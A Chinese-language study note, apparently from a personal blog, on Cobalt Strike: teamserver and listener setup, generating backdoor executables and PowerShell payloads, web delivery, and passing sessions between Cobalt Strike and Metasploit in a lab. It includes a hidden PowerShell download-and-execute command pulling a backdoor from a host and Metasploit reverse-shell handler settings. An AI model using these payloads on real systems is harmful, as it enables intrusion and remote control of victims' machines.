🗒️cobalt strike功能学习
2023-11-13
| 2023-11-13
字数 590阅读时长 2 分钟
type
status
date
slug
summary
tags
category
icon
password

cs的开启与配置

默认端口:50050
服务端的启动
在管理员模式下启动teamserver.bat或者teamserver_win.bat即可
命令:teamserver_win.bat <ip地址> <密码>
此处启动在虚拟机的54321端口,看第二个图
notion image
notion image
客户端的启动:
加入的时候填服务器的ip与密码即可,用户名随便填写
notion image

cs开启监听

点击监听器下方的添加,名字随便取
payload的http地址与http地址(Stager)都是监听地址。端口确定没被占用即可。
notion image

cs攻击模块

windows可执行程序

生成一个windows可执行程序exe,放到目标机器上执行即可。不勾选x64就是32位的
notion image
notion image

payload生成器

攻击———》生成后门———》Payload生成器
选择powershell,生成的是ps1文件。
选择powershell command生成的是txt文件,里面的命令直接执行即可在后台开启名为powershell.exe的后门进程。
notion image

web投递

攻击———》web钓鱼———》web投递
端口不被占用,即可生成如下的命令:powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://172.16.110.61:8123/a'))"
相当于从web服务上下载并执行我们的后门
notion image

通过webshell将shell传递至cs

cs生成木马,通过webshell上传木马,然后通过虚拟终端命令行执行此木马文件即可
此处上传的是exe文件,直接命令行输入01.exe执行即可迁移shell到cs上。
notion image
或者直接在命令行执行powershell的命令无文件生成后门进程即可。

cs与msf的shell投递

msf → cs

msf获取meterpreter会话后,background将会话放置后台获取一个session id
use exploit/windows/local/payload_inject #派生会话 set session 1 #例,以自己的会话id为主 set lport #cs的监听端口 Set lhost #cs的监听地址 set payload windows/meterpreter/reverse_http #cs接收不到x64模块的shell set DisablePayloadHandler true #防止msf监听 run
notion image
此时,可以看到cs已经上线这个shell
notion image

cs → msf

use exploit/multi/handler #监听模块 set lport 4430 #设置接收port set lhost 172.16.110.62 #设置接收host set payload winddows/meterpreter_reverse_http set payload windows/meterpreter/reverse_http#二选一即可 run
notion image
notion image
notion image
这样即可在msf中监听成功。此处因为cs的环境问题没有成功
 
  • 工具和环境配置
  • msf,msfvenom,meterpreter基础burp插件使用
    Loading...